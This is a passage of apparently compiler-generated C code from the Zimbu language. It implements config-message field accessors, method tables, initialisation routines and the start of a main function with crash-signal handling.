t->Vf_printNatFormat = Av; r = t; return r; } Tb Y6Nw(YNdL t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_printNatFormat != NULL); return r; } YNdL YRMv(YNdL t, Tc Av) { YNdL r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_scanfHexFormat = Av; r = t; return r; } Tb Yoe8(YNdL t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_scanfHexFormat != NULL); return r; } YNdL YeB5(YNdL t, Tb Av) { YNdL r = 0; if (t == NULL) { ZthrowThisNil(); } t->Vf_isMingw = ((Av) ? (2) : (1)); r = t; return r; } Tb YdfK(YNdL t) { Tb r = 0; if (t == NULL) { ZthrowThisNil(); } r = (t->Vf_isMingw != 0); return r; } Tb YFKUa(YNdL t, Ti AfieldNr) { Tb r = 0; int rt = 0; if (t == NULL) { ZthrowThisNil(); } switch (AfieldNr) { case 4: { r = (t->Vf_haveResolve == 2); rt = 1; goto YMz1; } case 5: { r = (t->Vf_haveFork == 2); rt = 1; goto YMz1; } case 8: { r = (t->Vf_haveSigaction == 2); rt = 1; goto YMz1; } case 9: { r = (t->Vf_gcWithThreads == 2); rt = 1; goto YMz1; } case 50: { r = (t->Vf_isMingw == 2); rt = 1; goto YMz1; } YMz1: if (rt) goto YNSH; } r = 0; YNSH: return r; } Tc Yxv3a(YNdL t, Ti AfieldNr) { Tc r = 0; int rt = 0; if (t == NULL) { ZthrowThisNil(); } switch (AfieldNr) { case 1: { r = t->Vf_mallocArg; rt = 1; goto YbWO; } case 2: { r = t->Vf_threadArg; rt = 1; goto YbWO; } case 3: { r = t->Vf_socketArg; rt = 1; goto YbWO; } case 10: { r = t->Vf_mathArg; rt = 1; goto YbWO; } case 6: { r = t->Vf_exeSuffix; rt = 1; goto YbWO; } case 7: { r = t->Vf_exePrefix; rt = 1; goto YbWO; } case 20: { r = t->Vf_int16Name; rt = 1; goto YbWO; } case 21: { r = t->Vf_int32Name; rt = 1; goto YbWO; } case 22: { r = t->Vf_int64Name; rt = 1; goto YbWO; } case 23: { r = t->Vf_nat16Name; rt = 1; goto YbWO; } case 24: { r = t->Vf_nat32Name; rt = 1; goto YbWO; } case 25: { r = t->Vf_nat64Name; rt = 1; goto YbWO; } case 26: { r = t->Vf_floatName; rt = 1; goto YbWO; } case 27: { r = t->Vf_float32Name; rt = 1; goto YbWO; } case 28: { r = t->Vf_intPtrName; rt = 1; goto YbWO; } case 40: { r = t->Vf_printIntFormat; rt = 1; goto YbWO; } case 41: { r = t->Vf_printNatFormat; rt = 1; goto YbWO; } case 42: { r = t->Vf_scanfHexFormat; rt = 1; goto YbWO; } YbWO: if (rt) goto YB5N; } r = ((Tc)&Ya); YB5N: return r; } Tb YlZca(YNdL t, Ti AfieldNr) { Tb r = 0; int rt = 0; if (t == NULL) { ZthrowThisNil(); } switch (AfieldNr) { case 1: { r = Y8zW(t); rt = 1; goto YzmR; } case 2: { r = YvKz(t); rt = 1; goto YzmR; } case 3: { r = YDjI(t); rt = 1; goto YzmR; } case 10: { r = Y8om(t); rt = 1; goto YzmR; } case 4: { r = Y3Lr(t); rt = 1; goto YzmR; } case 5: { r = YcPw(t); rt = 1; goto YzmR; } case 6: { r = YuSQ(t); rt = 1; goto YzmR; } case 7: { r = YUOX(t); rt = 1; goto YzmR; } case 8: { r = YJrk(t); rt = 1; goto YzmR; } case 9: { r = Yo45(t); rt = 1; goto YzmR; } case 20: { r = YpDQ(t); rt = 1; goto YzmR; } case 21: { r = YQOu(t); rt = 1; goto YzmR; } case 22: { r = YOKF(t); rt = 1; goto YzmR; } case 23: { r = YEuK(t); rt = 1; goto YzmR; } case 24: { r = Y4Fo(t); rt = 1; goto YzmR; } case 25: { r = Y2Bz(t); rt = 1; goto YzmR; } case 26: { r = Y24V(t); rt = 1; goto YzmR; } case 27: { r = YftC(t); rt = 1; goto YzmR; } case 28: { r = YTxb(t); rt = 1; goto YzmR; } case 40: { r = YlFq(t); rt = 1; goto YzmR; } case 41: { r = Y6Nw(t); rt = 1; goto YzmR; } case 42: { r = Yoe8(t); rt = 1; goto YzmR; } case 50: { r = YdfK(t); rt = 1; goto YzmR; } YzmR: if (rt) goto YXeK; } r = 0; YXeK: return r; } Tl Yozoa(YNdL t) { Tl r = 0; if (t == NULL) { ZthrowThisNil(); } r = YR6X; return r; } Ti YNdL__Y0zD(YNdL t, Ti AfieldNr) { Zsf sf; Ti r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=7728200; ZthrowThisNil(); } sf.pos=7728201; r = 0; topFrame = sf.prev; return r; } Ti YNdL__Y0zDa(YNdL t, Ti AfieldNr, Ti Aidx) { Zsf sf; Ti r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=8748300; ZthrowThisNil(); } sf.pos=8748301; r = 0; topFrame = sf.prev; return r; } Tc YNdL__YytN(YNdL t, Ti AfieldNr) { Zsf sf; Tc r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=1323500; ZthrowThisNil(); } sf.pos=1323501; r = ((Tc)&Ya); topFrame = sf.prev; return r; } Tc YNdL__YytNa(YNdL t, Ti AfieldNr, Ti Aidx) { Zsf sf; Tc r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=2343600; ZthrowThisNil(); } sf.pos=2343601; r = ((Tc)&Ya); topFrame = sf.prev; return r; } Ti YNdL__YGR8(YNdL t, Ti AfieldNr) { Zsf sf; Ti r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=3009600; ZthrowThisNil(); } sf.pos=3009601; r = 0; topFrame = sf.prev; return r; } Ti YNdL__YGR8a(YNdL t, Ti AfieldNr, Ti Aidx) { Zsf sf; Ti r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=4029700; ZthrowThisNil(); } sf.pos=4029701; r = 0; topFrame = sf.prev; return r; } Ti32 YNdL__YAAo(YNdL t, Ti AfieldNr) { Zsf sf; Ti32 r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=4506100; ZthrowThisNil(); } sf.pos=4506101; r = 0; topFrame = sf.prev; return r; } Ti32 YNdL__YAAoa(YNdL t, Ti AfieldNr, Ti Aidx) { Zsf sf; Ti32 r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=5526200; ZthrowThisNil(); } sf.pos=5526201; r = 0; topFrame = sf.prev; return r; } Tu YNdL__YRqV(YNdL t, Ti AfieldNr) { Zsf sf; Tu r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=1624700; ZthrowThisNil(); } sf.pos=1624701; r = 0; topFrame = sf.prev; return r; } Tu YNdL__YRqVa(YNdL t, Ti AfieldNr, Ti Aidx) { Zsf sf; Tu r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=2644800; ZthrowThisNil(); } sf.pos=2644801; r = 0; topFrame = sf.prev; return r; } Tu32 YNdL__Y0tE(YNdL t, Ti AfieldNr) { Zsf sf; Tu32 r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=7588200; ZthrowThisNil(); } sf.pos=7588201; r = 0; topFrame = sf.prev; return r; } Tu32 YNdL__Y0tEa(YNdL t, Ti AfieldNr, Ti Aidx) { Zsf sf; Tu32 r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=8608300; ZthrowThisNil(); } sf.pos=8608301; r = 0; topFrame = sf.prev; return r; } Tf32 YNdL__Yyt7(YNdL t, Ti AfieldNr) { Zsf sf; Tf32 r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=2145100; ZthrowThisNil(); } sf.pos=2145101; r = 0; topFrame = sf.prev; return r; } Tf32 YNdL__Yyt7a(YNdL t, Ti AfieldNr, Ti Aidx) { Zsf sf; Tf32 r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=3165200; ZthrowThisNil(); } sf.pos=3165201; r = 0; topFrame = sf.prev; return r; } Tf YNdL__Yybv(YNdL t, Ti AfieldNr) { Zsf sf; Tf r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=9558000; ZthrowThisNil(); } sf.pos=9558001; r = 0; topFrame = sf.prev; return r; } Tf YNdL__Yybva(YNdL t, Ti AfieldNr, Ti Aidx) { Zsf sf; Tf r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=578100; ZthrowThisNil(); } sf.pos=578101; r = 0; topFrame = sf.prev; return r; } Tb YNdL__YGfza(YNdL t, Ti AfieldNr, Ti Aidx) { Zsf sf; Tb r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=7921800; ZthrowThisNil(); } sf.pos=7921801; r = 0; topFrame = sf.prev; return r; } Tc YNdL__YsRaa(YNdL t, Ti AfieldNr, Ti Aidx) { Zsf sf; Tc r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=2540100; ZthrowThisNil(); } sf.pos=2540101; r = ((Tc)&Ya); topFrame = sf.prev; return r; } Tr YNdL__Yo5y(YNdL t, Ti AfieldNr) { Zsf sf; Tr r = {NULL}; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=9575000; ZthrowThisNil(); } sf.pos=9575001; r = trZero; topFrame = sf.prev; return r; } Tr YNdL__Yo5ya(YNdL t, Ti AfieldNr, Ti Aidx) { Zsf sf; Tr r = {NULL}; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=595100; ZthrowThisNil(); } sf.pos=595101; r = trZero; topFrame = sf.prev; return r; } Ti YNdL__YUDN(YNdL t, Ti AfieldNr) { Zsf sf; Ti r = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=8162700; ZthrowThisNil(); } sf.pos=8162701; r = 0; topFrame = sf.prev; return r; } Tc YNdL__YC5i(YNdL t) { Zsf sf; Tc r = 0; YjUM Vwriter = 0; YLWE VprotoWriter = 0; Tr t0 = {NULL}; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=7979400; ZthrowThisNil(); } sf.pos=7979401; Vwriter = Za(sizeof(YjUM)); sf.pos=7979402; VprotoWriter = YrCUb(NULL, Znao(&t0, Vwriter, YjUM__YdXi_imt, 2), ((Tc)&Ya), 0); sf.pos=7979403; YP8Z(Znao(&t0, t, YNdL__YFL0_I_imt, 0), VprotoWriter); sf.pos=7979404; r = YbNW(Vwriter); topFrame = sf.prev; return r; } Tc YNdL__YFL0_I_imt[] = { (Tc)&YNdL__T, (Tc)0, (Tc)0, (Tc)0, (Tc)0, (Tc)YlZca, / MZimbu__CConfig.hasField - YlZca / (Tc)Ykvoa, /* MZimbu__CConfig.name - Ykvoa / (Tc)YNdL__Y0zDa, /* MZimbu__CConfig.enumGet - YNdL__Y0zDa / (Tc)YNdL__Y0zD, /* MZimbu__CConfig.enumGet - YNdL__Y0zD / (Tc)YNdL__YytNa, /* MZimbu__CConfig.enumNameGet - YNdL__YytNa / (Tc)YNdL__YytN, /* MZimbu__CConfig.enumNameGet - YNdL__YytN / (Tc)YNdL__YGR8a, /* MZimbu__CConfig.intGet - YNdL__YGR8a / (Tc)YNdL__YGR8, /* MZimbu__CConfig.intGet - YNdL__YGR8 / (Tc)YNdL__YAAoa, /* MZimbu__CConfig.int32Get - YNdL__YAAoa / (Tc)YNdL__YAAo, /* MZimbu__CConfig.int32Get - YNdL__YAAo / (Tc)YNdL__YRqVa, /* MZimbu__CConfig.uint64Get - YNdL__YRqVa / (Tc)YNdL__YRqV, /* MZimbu__CConfig.uint64Get - YNdL__YRqV / (Tc)YNdL__Y0tEa, /* MZimbu__CConfig.uint32Get - YNdL__Y0tEa / (Tc)YNdL__Y0tE, /* MZimbu__CConfig.uint32Get - YNdL__Y0tE / (Tc)YNdL__Yyt7a, /* MZimbu__CConfig.floatGet - YNdL__Yyt7a / (Tc)YNdL__Yyt7, /* MZimbu__CConfig.floatGet - YNdL__Yyt7 / (Tc)YNdL__Yybva, /* MZimbu__CConfig.doubleGet - YNdL__Yybva / (Tc)YNdL__Yybv, /* MZimbu__CConfig.doubleGet - YNdL__Yybv / (Tc)YNdL__YGfza, /* MZimbu__CConfig.boolGet - YNdL__YGfza / (Tc)YFKUa, /* MZimbu__CConfig.boolGet - YFKUa / (Tc)YNdL__YsRaa, /* MZimbu__CConfig.stringGet - YNdL__YsRaa / (Tc)Yxv3a, /* MZimbu__CConfig.stringGet - Yxv3a / (Tc)0, /* MZimbu__CConfig.enumSet - YNdL__Y3p7 / (Tc)0, /* MZimbu__CConfig.enumNameSet - YNdL__YBjh / (Tc)0, /* MZimbu__CConfig.intSet - YNdL__YJHD / (Tc)0, /* MZimbu__CConfig.int32Set - YNdL__YDqT / (Tc)0, /* MZimbu__CConfig.uint64Set - YNdL__YOAq / (Tc)0, /* MZimbu__CConfig.uint32Set - YNdL__YYD9 / (Tc)0, /* MZimbu__CConfig.floatSet - YNdL__YBjC / (Tc)0, /* MZimbu__CConfig.doubleSet - YNdL__Yvl0 / (Tc)0, /* MZimbu__CConfig.boolSet - YCUpa / (Tc)0, /* MZimbu__CConfig.stringSet - YuFza / (Tc)YNdL__Yo5ya, /* MZimbu__CConfig.messageGet - YNdL__Yo5ya / (Tc)YNdL__Yo5y, /* MZimbu__CConfig.messageGet - YNdL__Yo5y / (Tc)0, /* MZimbu__CConfig.messageSet - YNdL__YrW2 / (Tc)0, /* MZimbu__CConfig.messageAdd - YNdL__Y0Dj / (Tc)0, /* MZimbu__CConfig.mergeMessageFromReader - YNdL__Ymza / (Tc)YNdL__YUDN, /* MZimbu__CConfig.size - YNdL__YUDN / (Tc)Yozoa, /* MZimbu__CConfig.fieldSpecs - Yozoa / (Tc)YNdL__YC5i, /* MZimbu__CConfig.ToString - YNdL__YC5i / (Tc)0, /* MZimbu__CConfig.toString - YNdL__YVAI / (Tc)0, /* MZimbu__CConfig.writeText - YNdL__Yr3ca / (Tc)0, /* MZimbu__CConfig.writeText - YNdL__Yr3c / (Tc)0, /* MZimbu__CConfig.Equal - YNdL__YYdF / (Tc)0, /* MZimbu__CConfig.writeBinary - YNdL__YpSR / (Tc)0, /* MZimbu__CConfig.writeBinaryDeref - YNdL__Yz9e / (Tc)0, /* MZimbu__CConfig.writeJson - YNdL__YVaR / (Tc)0, /* MZimbu__CConfig.writeJsonDeref - YNdL__YgZk / (Tc)0, /* Init - YNdLa / }; To ToYNdL[] = { {18, 0}, {0, (Tt)&string__T}, /* f_mallocArg / {0, (Tt)&string__T}, /* f_threadArg / {0, (Tt)&string__T}, /* f_socketArg / {0, (Tt)&string__T}, /* f_mathArg / {0, (Tt)&string__T}, /* f_exeSuffix / {0, (Tt)&string__T}, /* f_exePrefix / {0, (Tt)&string__T}, /* f_int16Name / {0, (Tt)&string__T}, /* f_int32Name / {0, (Tt)&string__T}, /* f_int64Name / {0, (Tt)&string__T}, /* f_nat16Name / {0, (Tt)&string__T}, /* f_nat32Name / {0, (Tt)&string__T}, /* f_nat64Name / {0, (Tt)&string__T}, /* f_floatName / {0, (Tt)&string__T}, /* f_float32Name / {0, (Tt)&string__T}, /* f_intPtrName / {0, (Tt)&string__T}, /* f_printIntFormat / {0, (Tt)&string__T}, /* f_printNatFormat / {0, (Tt)&string__T}, /* f_scanfHexFormat / }; Tto YNdL__T = {390, (Tc)&YF2d, 0, ToYNdL}; int JzimbuConfig(int round) { static int round_done = -1; int done = 1; if (round_done < round) { Zsf sf; sf.prev = topFrame; sf.pos = 0; sf.frof = NULL; topFrame = &sf; round_done = round; done &= JProto(round); if (round == 2001) { sf.pos=7469100; YR6X = ZnewList((Tt)&YqvM__T, 23); ZLap((Tl)YR6X, (Tz)(void)Ykww(NULL, ((Tc)&Y1i0), 1, 17, 0)); ZLap((Tl)YR6X, (Tz)(void)Ykww(NULL, ((Tc)&YF8m), 2, 17, 0)); ZLap((Tl)YR6X, (Tz)(void)Ykww(NULL, ((Tc)&Yxze), 3, 17, 0)); ZLap((Tl)YR6X, (Tz)(void)Ykww(NULL, ((Tc)&YdV8), 10, 17, 0)); ZLap((Tl)YR6X, (Tz)(void)Ykww(NULL, ((Tc)&Yefj), 4, 1, 0)); ZLap((Tl)YR6X, (Tz)(void)Ykww(NULL, ((Tc)&YqSF), 5, 1, 0)); ZLap((Tl)YR6X, (Tz)(void)Ykww(NULL, ((Tc)&YG05), 6, 17, 0)); ZLap((Tl)YR6X, (Tz)(void)Ykww(NULL, ((Tc)&Yg4Z), 7, 17, 0)); ZLap((Tl)YR6X, (Tz)(void)Ykww(NULL, ((Tc)&YUN3), 8, 1, 0)); ZLap((Tl)YR6X, (Tz)(void)Ykww(NULL, ((Tc)&Yeai), 9, 1, 0)); ZLap((Tl)YR6X, (Tz)(void)Ykww(NULL, ((Tc)&YLf6), 20, 17, 0)); ZLap((Tl)YR6X, (Tz)(void)Ykww(NULL, ((Tc)&Yk4r), 21, 17, 0)); ZLap((Tl)YR6X, (Tz)(void)Ykww(NULL, ((Tc)&Ym8g), 22, 17, 0)); ZLap((Tl)YR6X, (Tz)(void)Ykww(NULL, ((Tc)&Ywoc), 23, 17, 0)); ZLap((Tl)YR6X, (Tz)(void)Ykww(NULL, ((Tc)&Y5cy), 24, 17, 0)); ZLap((Tl)YR6X, (Tz)(void)Ykww(NULL, ((Tc)&Y7gn), 25, 17, 0)); ZLap((Tl)YR6X, (Tz)(void)Ykww(NULL, ((Tc)&Y7N0), 26, 17, 0)); ZLap((Tl)YR6X, (Tz)(void)Ykww(NULL, ((Tc)&Y4ZK), 27, 17, 0)); ZLap((Tl)YR6X, (Tz)(void)Ykww(NULL, ((Tc)&YlnY), 28, 17, 0)); ZLap((Tl)YR6X, (Tz)(void)Ykww(NULL, ((Tc)&YMLF), 40, 17, 0)); ZLap((Tl)YR6X, (Tz)(void)Ykww(NULL, ((Tc)&YxUL), 41, 17, 0)); ZLap((Tl)YR6X, (Tz)(void)Ykww(NULL, ((Tc)&YPkn), 42, 17, 0)); ZLap((Tl)YR6X, (Tz)(void)Ykww(NULL, ((Tc)&Y83L), 50, 1, 0)); } topFrame = sf.prev; } return done; } /* zimbuConfig done / / * INIT IMT / void ZimtInit(void) { { Ytlm p = 0; ToYtlm[1].off = (int)((Tc)&p->Vmessage - (Tc)p); ToYtlm[2].off = (int)((Tc)&p->Vpos - (Tc)p); ToYtlm[3].off = (int)((Tc)&p->Vbacktrace - (Tc)p); } { YEro p = 0; ToYEro[1].off = (int)((Tc)&p->Vmessage - (Tc)p); ToYEro[2].off = (int)((Tc)&p->Vpos - (Tc)p); ToYEro[3].off = (int)((Tc)&p->Vbacktrace - (Tc)p); } { YKhn p = 0; YKhn__Ytlm_I_imt[1] = (Tc)((Tc)&p->Vmessage - (Tc)p); YKhn__Ytlm_I_imt[2] = (Tc)((Tc)&p->Vpos - (Tc)p); YKhn__Ytlm_I_imt[3] = (Tc)((Tc)&p->Vbacktrace - (Tc)p); ToYKhn[1].off = (int)((Tc)&p->Vmessage - (Tc)p); ToYKhn[2].off = (int)((Tc)&p->Vpos - (Tc)p); ToYKhn[3].off = (int)((Tc)&p->Vbacktrace - (Tc)p); } { Y1uN p = 0; Y1uN__Ytlm_I_imt[1] = (Tc)((Tc)&p->Vmessage - (Tc)p); Y1uN__Ytlm_I_imt[2] = (Tc)((Tc)&p->Vpos - (Tc)p); Y1uN__Ytlm_I_imt[3] = (Tc)((Tc)&p->Vbacktrace - (Tc)p); ToY1uN[1].off = (int)((Tc)&p->Vmessage - (Tc)p); ToY1uN[2].off = (int)((Tc)&p->Vpos - (Tc)p); ToY1uN[3].off = (int)((Tc)&p->Vbacktrace - (Tc)p); } { YAxe p = 0; YAxe__Ytlm_I_imt[1] = (Tc)((Tc)&p->Vmessage - (Tc)p); YAxe__Ytlm_I_imt[2] = (Tc)((Tc)&p->Vpos - (Tc)p); YAxe__Ytlm_I_imt[3] = (Tc)((Tc)&p->Vbacktrace - (Tc)p); ToYAxe[1].off = (int)((Tc)&p->Vmessage - (Tc)p); ToYAxe[2].off = (int)((Tc)&p->Vpos - (Tc)p); ToYAxe[3].off = (int)((Tc)&p->Vbacktrace - (Tc)p); } { YVNj p = 0; YVNj__Ytlm_I_imt[1] = (Tc)((Tc)&p->Vmessage - (Tc)p); YVNj__Ytlm_I_imt[2] = (Tc)((Tc)&p->Vpos - (Tc)p); YVNj__Ytlm_I_imt[3] = (Tc)((Tc)&p->Vbacktrace - (Tc)p); ToYVNj[1].off = (int)((Tc)&p->Vmessage - (Tc)p); ToYVNj[2].off = (int)((Tc)&p->Vpos - (Tc)p); ToYVNj[3].off = (int)((Tc)&p->Vbacktrace - (Tc)p); } { Yalz p = 0; Yalz__Ytlm_I_imt[1] = (Tc)((Tc)&p->Vmessage - (Tc)p); Yalz__Ytlm_I_imt[2] = (Tc)((Tc)&p->Vpos - (Tc)p); Yalz__Ytlm_I_imt[3] = (Tc)((Tc)&p->Vbacktrace - (Tc)p); ToYalz[1].off = (int)((Tc)&p->Vmessage - (Tc)p); ToYalz[2].off = (int)((Tc)&p->Vpos - (Tc)p); ToYalz[3].off = (int)((Tc)&p->Vbacktrace - (Tc)p); } { Y2EX p = 0; Y2EX__Ytlm_I_imt[1] = (Tc)((Tc)&p->Vmessage - (Tc)p); Y2EX__Ytlm_I_imt[2] = (Tc)((Tc)&p->Vpos - (Tc)p); Y2EX__Ytlm_I_imt[3] = (Tc)((Tc)&p->Vbacktrace - (Tc)p); ToY2EX[1].off = (int)((Tc)&p->Vmessage - (Tc)p); ToY2EX[2].off = (int)((Tc)&p->Vpos - (Tc)p); ToY2EX[3].off = (int)((Tc)&p->Vbacktrace - (Tc)p); } { YX0i p = 0; YX0i__Ytlm_I_imt[1] = (Tc)((Tc)&p->Vmessage - (Tc)p); YX0i__Ytlm_I_imt[2] = (Tc)((Tc)&p->Vpos - (Tc)p); YX0i__Ytlm_I_imt[3] = (Tc)((Tc)&p->Vbacktrace - (Tc)p); ToYX0i[1].off = (int)((Tc)&p->Vmessage - (Tc)p); ToYX0i[2].off = (int)((Tc)&p->Vpos - (Tc)p); ToYX0i[3].off = (int)((Tc)&p->Vbacktrace - (Tc)p); } { YzSI p = 0; YzSI__Ytlm_I_imt[1] = (Tc)((Tc)&p->Vmessage - (Tc)p); YzSI__Ytlm_I_imt[2] = (Tc)((Tc)&p->Vpos - (Tc)p); YzSI__Ytlm_I_imt[3] = (Tc)((Tc)&p->Vbacktrace - (Tc)p); ToYzSI[1].off = (int)((Tc)&p->Vmessage - (Tc)p); ToYzSI[2].off = (int)((Tc)&p->Vpos - (Tc)p); ToYzSI[3].off = (int)((Tc)&p->Vbacktrace - (Tc)p); } { YXKl p = 0; YXKl__Ytlm_I_imt[1] = (Tc)((Tc)&p->Vmessage - (Tc)p); YXKl__Ytlm_I_imt[2] = (Tc)((Tc)&p->Vpos - (Tc)p); YXKl__Ytlm_I_imt[3] = (Tc)((Tc)&p->Vbacktrace - (Tc)p); ToYXKl[1].off = (int)((Tc)&p->Vmessage - (Tc)p); ToYXKl[2].off = (int)((Tc)&p->Vpos - (Tc)p); ToYXKl[3].off = (int)((Tc)&p->Vbacktrace - (Tc)p); } { YuDC p = 0; YuDC__Ytlm_I_imt[1] = (Tc)((Tc)&p->Vmessage - (Tc)p); YuDC__Ytlm_I_imt[2] = (Tc)((Tc)&p->Vpos - (Tc)p); YuDC__Ytlm_I_imt[3] = (Tc)((Tc)&p->Vbacktrace - (Tc)p); ToYuDC[1].off = (int)((Tc)&p->Vmessage - (Tc)p); ToYuDC[2].off = (int)((Tc)&p->Vpos - (Tc)p); ToYuDC[3].off = (int)((Tc)&p->Vbacktrace - (Tc)p); } { YrHq p = 0; YrHq__Ytlm_I_imt[1] = (Tc)((Tc)&p->Vmessage - (Tc)p); YrHq__Ytlm_I_imt[2] = (Tc)((Tc)&p->Vpos - (Tc)p); YrHq__Ytlm_I_imt[3] = (Tc)((Tc)&p->Vbacktrace - (Tc)p); ToYrHq[1].off = (int)((Tc)&p->Vmessage - (Tc)p); ToYrHq[2].off = (int)((Tc)&p->Vpos - (Tc)p); ToYrHq[3].off = (int)((Tc)&p->Vbacktrace - (Tc)p); } { YkxB p = 0; ToYkxB[1].off = (int)((Tc)&p->Vfilename - (Tc)p); ToYkxB[2].off = (int)((Tc)&p->Vtext - (Tc)p); } { Yw8L p = 0; Yw8L__Yw8L_I_imt[20] = (Tc)((Tc)&p->Vfd - (Tc)p); Yw8L__Yw8L_I_imt[21] = (Tc)((Tc)&p->Vname - (Tc)p); ToYw8L[1].off = (int)((Tc)&p->Vname - (Tc)p); } { YjUM p = 0; ToYjUM[1].off = (int)((Tc)&p->Vs - (Tc)p); ToYjUM[2].off = (int)((Tc)&p->Vx - (Tc)p); } { Ys_q p = 0; Ys_q__Ytlm_I_imt[1] = (Tc)((Tc)&p->Vmessage - (Tc)p); Ys_q__Ytlm_I_imt[2] = (Tc)((Tc)&p->Vpos - (Tc)p); Ys_q__Ytlm_I_imt[3] = (Tc)((Tc)&p->Vbacktrace - (Tc)p); ToYs_q[1].off = (int)((Tc)&p->Vmessage - (Tc)p); ToYs_q[2].off = (int)((Tc)&p->Vpos - (Tc)p); ToYs_q[3].off = (int)((Tc)&p->Vbacktrace - (Tc)p); } { YOEA p = 0; YOEA__Ytlm_I_imt[1] = (Tc)((Tc)&p->Vmessage - (Tc)p); YOEA__Ytlm_I_imt[2] = (Tc)((Tc)&p->Vpos - (Tc)p); YOEA__Ytlm_I_imt[3] = (Tc)((Tc)&p->Vbacktrace - (Tc)p); ToYOEA[1].off = (int)((Tc)&p->Vmessage - (Tc)p); ToYOEA[2].off = (int)((Tc)&p->Vpos - (Tc)p); ToYOEA[3].off = (int)((Tc)&p->Vbacktrace - (Tc)p); } { YqvM p = 0; ToYqvM[1].off = (int)((Tc)&p->Vname - (Tc)p); } { YLWE p = 0; ToYLWE[1].off = (int)((Tc)&p->Vwriter - (Tc)p); ToYLWE[2].off = (int)((Tc)&p->Vindent - (Tc)p); } { YNdL p = 0; YNdL__YFL0_I_imt[1] = (Tc)((Tc)&p->VderefTime - (Tc)p); YNdL__YFL0_I_imt[2] = (Tc)((Tc)&p->VderefId - (Tc)p); YNdL__YFL0_I_imt[3] = (Tc)((Tc)&p->VderefTimeSize - (Tc)p); YNdL__YFL0_I_imt[4] = (Tc)((Tc)&p->VderefIdSize - (Tc)p); ToYNdL[1].off = (int)((Tc)&p->Vf_mallocArg - (Tc)p); ToYNdL[2].off = (int)((Tc)&p->Vf_threadArg - (Tc)p); ToYNdL[3].off = (int)((Tc)&p->Vf_socketArg - (Tc)p); ToYNdL[4].off = (int)((Tc)&p->Vf_mathArg - (Tc)p); ToYNdL[5].off = (int)((Tc)&p->Vf_exeSuffix - (Tc)p); ToYNdL[6].off = (int)((Tc)&p->Vf_exePrefix - (Tc)p); ToYNdL[7].off = (int)((Tc)&p->Vf_int16Name - (Tc)p); ToYNdL[8].off = (int)((Tc)&p->Vf_int32Name - (Tc)p); ToYNdL[9].off = (int)((Tc)&p->Vf_int64Name - (Tc)p); ToYNdL[10].off = (int)((Tc)&p->Vf_nat16Name - (Tc)p); ToYNdL[11].off = (int)((Tc)&p->Vf_nat32Name - (Tc)p); ToYNdL[12].off = (int)((Tc)&p->Vf_nat64Name - (Tc)p); ToYNdL[13].off = (int)((Tc)&p->Vf_floatName - (Tc)p); ToYNdL[14].off = (int)((Tc)&p->Vf_float32Name - (Tc)p); ToYNdL[15].off = (int)((Tc)&p->Vf_intPtrName - (Tc)p); ToYNdL[16].off = (int)((Tc)&p->Vf_printIntFormat - (Tc)p); ToYNdL[17].off = (int)((Tc)&p->Vf_printNatFormat - (Tc)p); ToYNdL[18].off = (int)((Tc)&p->Vf_scanfHexFormat - (Tc)p); } } / * INIT GLOBALS / int ZglobInit(int round) { int done = 1; Zsf sf; sf.prev = topFrame; sf.pos = 0; sf.frof = NULL; topFrame = &sf; done &= JIOModule(round); done &= JzimbuConfig(round); if (round == 2001) { } topFrame = sf.prev; return done; } / * MAIN / #if defined(__MINGW32__) \|\| defined(_MSC_VER) # define CATCH_SIG(sig, func) signal(sig, func) typedef struct SEH_EXCEPTION_REGISTRATION_S SEH_EXCEPTION_REGISTRATION; struct SEH_EXCEPTION_REGISTRATION_S { SEH_EXCEPTION_REGISTRATION prev; PEXCEPTION_HANDLER handler; }; static EXCEPTION_DISPOSITION exception_handler(PEXCEPTION_RECORD pRecord, SEH_EXCEPTION_REGISTRATION pReg, PCONTEXT pContext, PEXCEPTION_RECORD pRecord2) { Zdeadly(11); return ExceptionContinueSearch; } #else # define CATCH_SIG(sig, func) catch_sig(sig, func) void catch_sig(int sig, void func) { struct sigaction act; act.sa_handler = func; sigemptyset(&act.sa_mask); act.sa_flags = SA_NODEFER; sigaction(sig, &act, NULL); } #endif int Fmain(void); int main(int argc, char *argv) { int r = 0; int round = 0; #if defined(__MINGW32__) \|\| defined(_MSC_VER) SEH_EXCEPTION_REGISTRATION seh_er; seh_er.handler = (PEXCEPTION_HANDLER)(exception_handler); asm volatile ("movl %%fs:0, %0" : "=r" (seh_er.prev)); asm volatile ("movl %0, %%fs:0" : : "r" (&seh_er)); #else # ifdef SIGSEGV CATCH_SIG(SIGSEGV, 